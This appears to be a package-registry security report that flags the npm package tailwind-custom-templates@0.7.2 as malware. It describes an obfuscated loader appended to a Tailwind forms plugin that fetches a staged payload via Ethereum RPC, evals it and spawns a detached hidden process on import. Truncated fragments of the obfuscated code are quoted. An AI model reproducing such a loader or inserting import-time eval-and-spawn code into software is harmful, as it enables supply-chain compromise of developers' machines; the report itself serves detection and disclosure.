registry / Remote code execution / tailwind-custom-templates

tailwind-custom-templates

A plugin that provides a basic reset for form styles that makes form elements easy to override with utilities.

This report shows the evidence for tailwind-custom-templates@0.7.2, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The appended import-time payload is unrelated to a Tailwind forms plugin and contains concrete obfuscated staging, eval, and detached process execution. The lack of lifecycle hooks does not mitigate execution when the declared main entry is loaded.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

Any consumer or Tailwind configuration that requires/imports tailwind-custom-templates.

Impact

Remote code execution in the importing user's Node environment, with stealthy detached-process persistence potential.

Mechanism

Obfuscated Ethereum-RPC staged payload retrieval followed by eval and detached child-process execution.

Attack narrative

The package's main entry first provides form-style plugin code, then appends an obfuscated loader. On import, it reads an optional Ethereum RPC environment setting and queries network sources for staged data. The loader derives a command from that data, evaluates it in-process, and spawns a detached hidden Node process. This creates concrete remote code execution during ordinary package use without an npm lifecycle hook.

AI rationale

Evidence

src/index.jspackage.jsonscripts/release-notes.jsscripts/release-channel.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

src/index.js appends a large obfuscated payload to the legitimate Tailwind plugin.
The imported main module requires HTTP/HTTPS, zlib, URL, and child_process.spawn.
The payload reads ETH_RPC_URL and uses RPC/network response data to construct a second-stage command.
It directly evals the constructed payload and starts a detached hidden Node child process.
The malicious async payload is invoked at module import time; no npm lifecycle hook is needed.

Evidence against

package.json contains no preinstall, install, or postinstall hook.
The visible release scripts only derive release metadata and read CHANGELOG.md.

Behavioral surface

Source

ChildProcessDynamicRequireEnvironmentVarsFilesystem

Supply chain

MinifiedObfuscatedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 4 file(s), 39.9 KB of source, external domains: www.w3.org

Source & flagged code

6 flagged

tailwind.config.jsView file

7}, L8: plugins: [require('./src')], L9: }

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tailwind.config.jsView on unpkg · L7

src/index.jsView file

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/index.jsView on unpkg · L1

1global.i="A11--!";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){

High

Ai Review Evidence

src/index.js appends a large obfuscated payload to the legitimate Tailwind plugin.

src/index.jsView on unpkg · L1

1const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238)),B=0x3e8n,S=(_0xb40cd9(0x24e)+_0xb40cd9(0x28e)+_0xb40cd9(0x25b)+_0xb40cd9(0x1f5)+'1a')[_0xb40cd9(0x2d3)+'e'](),I=_0xb40cd9(0x246)+_0xb40cd9(0x278)+_0xb40cd9(0x225),R=[...new Set([process.env.ETH_RPC_URL,

High

Ai Review Evidence

The imported main module requires HTTP/HTTPS, zlib, URL, and child_process.spawn.

src/index.jsView on unpkg · L1

scripts/release-notes.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-notes.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

•matchType = normalized_sha256 matchedPackage = tailwind-custom-forms@0.5.2 matchedPath = scripts/release-channel.js matchedIdentity = npm:dGFpbHdpbmQtY3VzdG9tLWZvcm1z:0.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg

Source & flagged code

6 flagged · loading source

tailwind.config.jsView file

7}, L8: plugins: [require('./src')], L9: }

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tailwind.config.jsView on unpkg · L7

src/index.jsView file

1const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwindcss/plugin"),defaultTheme=require("tailwindcss/defaultTheme"),colors=require("tailwindcss/colors"),[baseFont...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/index.jsView on unpkg · L1

1global.i="A11--!";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){

High

Ai Review Evidence

src/index.js appends a large obfuscated payload to the legitimate Tailwind plugin.

src/index.js

Findings

6 High3 Medium3 Low

HighObfuscated Payload Loadersrc/index.js

HighObfuscated

HighKnown Malware Source Similarityscripts/release-notes.js

HighKnown Malware Source Similarityscripts/release-channel.js

HighAi Review Evidencesrc/index.js

MediumDynamic Requiretailwind.config.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowUrl Strings

Affected versions and remediation

This report applies to tailwind-custom-templates@0.7.2.

The versions list below shows the verdict for each recorded version.

Avoid installing tailwind-custom-templates@0.7.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-19 01:45:11.483Z (UTC).

Source advisory published: 2026-08-19 01:17:13.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

0.7.2latestshownMaliciousRemote Code ExecutionBlockPublishedAug 13, 2026, 9:40 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code